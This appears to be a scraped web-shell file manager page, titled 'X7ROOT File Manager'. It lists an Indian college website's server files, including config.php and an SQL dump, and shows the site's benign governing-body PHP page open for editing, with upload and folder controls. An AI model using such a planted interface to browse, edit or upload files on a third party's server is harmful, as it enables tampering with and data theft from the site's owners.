X7ROOT File Manager
Current Path:
/home/u126090504/domains/oca.org.in/public_html
home
/
u126090504
/
domains
/
oca.org.in
/
public_html
/
π
..
π
.htaccess
(1.12 KB)
π
Antiraging-Cell.php
(2.73 KB)
π
B.Ed.&B.P.Ed.php
(4.4 KB)
π
about-us.php
(9.01 KB)
π
academic-head-message.php
(5.84 KB)
π
achievers.php
(3.07 KB)
π
admin
π
admission.php
(5.17 KB)
π
admission_submit.php
(1.96 KB)
π
album.php
(890 B)
π
computer-courses.php
(20.66 KB)
π
config.php
(1.16 KB)
π
contact-us.php
(14.68 KB)
π
contactdb.php
(796 B)
π
css
π
director's-message.php
(5.46 KB)
π
downloads.php
(3.14 KB)
π
error.log
(14.6 KB)
π
facilities.php
(7.19 KB)
π
faculty.php
(4.96 KB)
π
fonts
π
footer.php
(22.79 KB)
π
franchise.php
(2.09 KB)
π
gallery.php
(3.21 KB)
π
governing-body.php
(3.58 KB)
π
grievance-form.php
(13.71 KB)
π
header.php
(15 KB)
π
images
π
index.php
(63.18 KB)
π
js
π
lib
π
ocabdk
π
ocabdk.zip
(63.02 MB)
π
our-recruiters.php
(2.77 KB)
π
payment.php
(8.1 KB)
π
payment_submit.php
(10.97 KB)
π
payment_verify.php
(2.31 KB)
π
peret.php
(266.87 KB)
π
placement.php
(8.33 KB)
π
principal's-message.php
(6.02 KB)
π
qrcodes
π
revolution
π
scope.php
(14.14 KB)
π
search_videos.php
(1.76 KB)
π
submit-grievance.php
(3.88 KB)
π
thank-you.php
(1.28 KB)
π
tutorial.php
(4.81 KB)
π
u126090504_mmabpd.sql
(44.65 KB)
π
uploads
π
videos.php
(4.38 KB)
Editing: governing-body.php
<?php // governing-body.php β PUBLIC PAGE (mysqli) // (debug on if needed) // ini_set('display_errors',1); error_reporting(E_ALL); /* ---- DB connection ---- If your config.php is in the site root use 'config.php'. If itβs inside /includes/ then change to __DIR__.'/includes/config.php' */ require_once __DIR__ . '/config.php'; // simple esc helper function e($v){ return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8'); } // sanity: have mysqli? if (!isset($conn) || !($conn instanceof mysqli)) { http_response_code(500); exit('Database connection not available.'); } /* ---- Fetch data ---- */ $list = []; $sql = "SELECT name, designation, role_responsibility FROM governing_body_members WHERE status='active' ORDER BY sort_order ASC, name ASC"; if ($res = $conn->query($sql)) { while ($row = $res->fetch_assoc()) $list[] = $row; $res->close(); } /* ---- Include header (support both header.php or /includes/header.php) ---- */ if (file_exists(__DIR__.'/header.php')) { include __DIR__.'/header.php'; } elseif (file_exists(__DIR__.'/includes/header.php')) { include __DIR__.'/includes/header.php'; } ?> <!-- page-title --> <div class="ttm-page-title-row"> <div class="ttm-page-title-row-inner ttm-textcolor-white"> <div class="container"> <div class="row align-items-center"> <div class="col-lg-12"> <div class="page-title-heading"> <h2 class="title">Governing Body</h2> </div> <div class="breadcrumb-wrapper"> <span><a title="Homepage" href="index.php">Home</a></span> <span class="ttm-bread-sep"> > </span> <span class="current">Governing Body</span> </div> </div> </div> </div> </div> </div> <!-- /page-title --> <!-- site-main start --> <div class="site-main"> <section class="container" style="max-width:1200px;margin:24px auto;padding:0 12px"> <?php if (empty($list)): ?> <p style="color:#666">No records found. (Make sure entries are <strong>Active</strong> in admin.)</p> <?php else: ?> <div class="table-responsive"> <table class="table" style="width:100%;border-collapse:separate;border-spacing:0 10px"> <thead> <tr style="background:#903e01;border:1px solid #e6e6e6;border-radius:12px"> <th style="padding:16px;width:30%; color:white;">Name</th> <th style="padding:16px;width:24%; color:white;">Designation</th> <th style="padding:16px;width:24%; color:white;">Role / Responsibility</th> </tr> </thead> <tbody> <?php foreach ($list as $m): ?> <tr style="background:#fff;border:1px solid #e6e6e6;border-radius:12px;box-shadow:0 1px 3px rgba(0,0,0,.04)"> <td style="padding:16px" data-label="Name"><?= e($m['name']) ?></td> <td style="padding:16px" data-label="Designation"><em><?= e($m['designation']) ?></em></td> <td style="padding:16px" data-label="Role / Responsibility"><?= nl2br(e($m['role_responsibility'])) ?></td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </section> </div> <!-- /site-main --> <?php /* ---- Include footer (support both footer.php or /includes/footer.php) ---- */ if (file_exists(__DIR__.'/footer.php')) { include __DIR__.'/footer.php'; } elseif (file_exists(__DIR__.'/includes/footer.php')) { include __DIR__.'/includes/footer.php'; }
Upload File
Create Folder